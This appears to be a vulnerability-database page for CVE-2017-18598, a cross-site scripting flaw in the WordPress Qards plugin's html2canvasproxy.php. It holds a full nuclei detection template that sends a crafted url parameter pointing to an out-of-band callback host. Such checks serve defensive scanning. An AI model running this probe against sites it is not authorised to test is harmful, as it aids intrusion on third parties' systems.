HexBrain

Browse / CVEs / CVE-2017-18598

CVE-2017-18598· designmodo / qards· CWE-79

WordPress Qards - Cross-Site Scripting

mediumseverity
6.1CVSS score
1.9%likelihood of exploitation, next 30 days
80%of all CVEs are less likely
Readycheck to confirm it

WordPress Qards through 2017-10-11 contains a cross-site scripting vulnerability via a remote document specified in the URL parameter to html2canvasproxy.php.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential theft of sensitive information or unauthorized actions.

Fix

Update to the latest version of the WordPress Qards plugin, which includes a fix for this vulnerability.

How to confirm it

Send: GET /
Positive when: contains "/wp-content/plugins/qards/"
Send: GET {{BaseURL}}/wp-content/plugins/qards/html2canvasproxy.php?url=https://{{interactsh-url}}
Positive when: contains in interactsh_protocol "http" AND contains "console.log"

Run it with nuclei: nuclei -id CVE-2017-18598 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2017-18598

info:
  name: WordPress Qards - Cross-Site Scripting
  author: pussycat0x
  severity: medium
  description: WordPress Qards through 2017-10-11 contains a cross-site scripting vulnerability via a remote document specified in the URL parameter to html2canvasproxy.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential theft of sensitive information or unauthorized actions.
  remediation: |
    Update to the latest version of the WordPress Qards plugin, which includes a fix for this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/8934
    - https://wpscan.com/vulnerability/454a0ce3-ecfe-47fc-a282-5caa51370645
    - https://wpvulndb.com/vulnerabilities/8934
    - https://nvd.nist.gov/vuln/detail/CVE-2017-18598
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-18598
    cwe-id: CWE-79
    epss-score: 0.01933
    epss-percentile: 0.80214
    cpe: cpe:2.3:a:designmodo:qards:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: designmodo
    product: qards
    framework: wordpress
  tags: cve2017,cve,wp-plugin,oast,wpscan,wordpress,ssrf,xss,designmodo,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - '/wp-content/plugins/qards/'

  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/qards/html2canvasproxy.php?url=https://{{interactsh-url}}'

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: body
        words:
          - "console.log"

References

Use this check only on systems you are authorised to test. Where the data comes from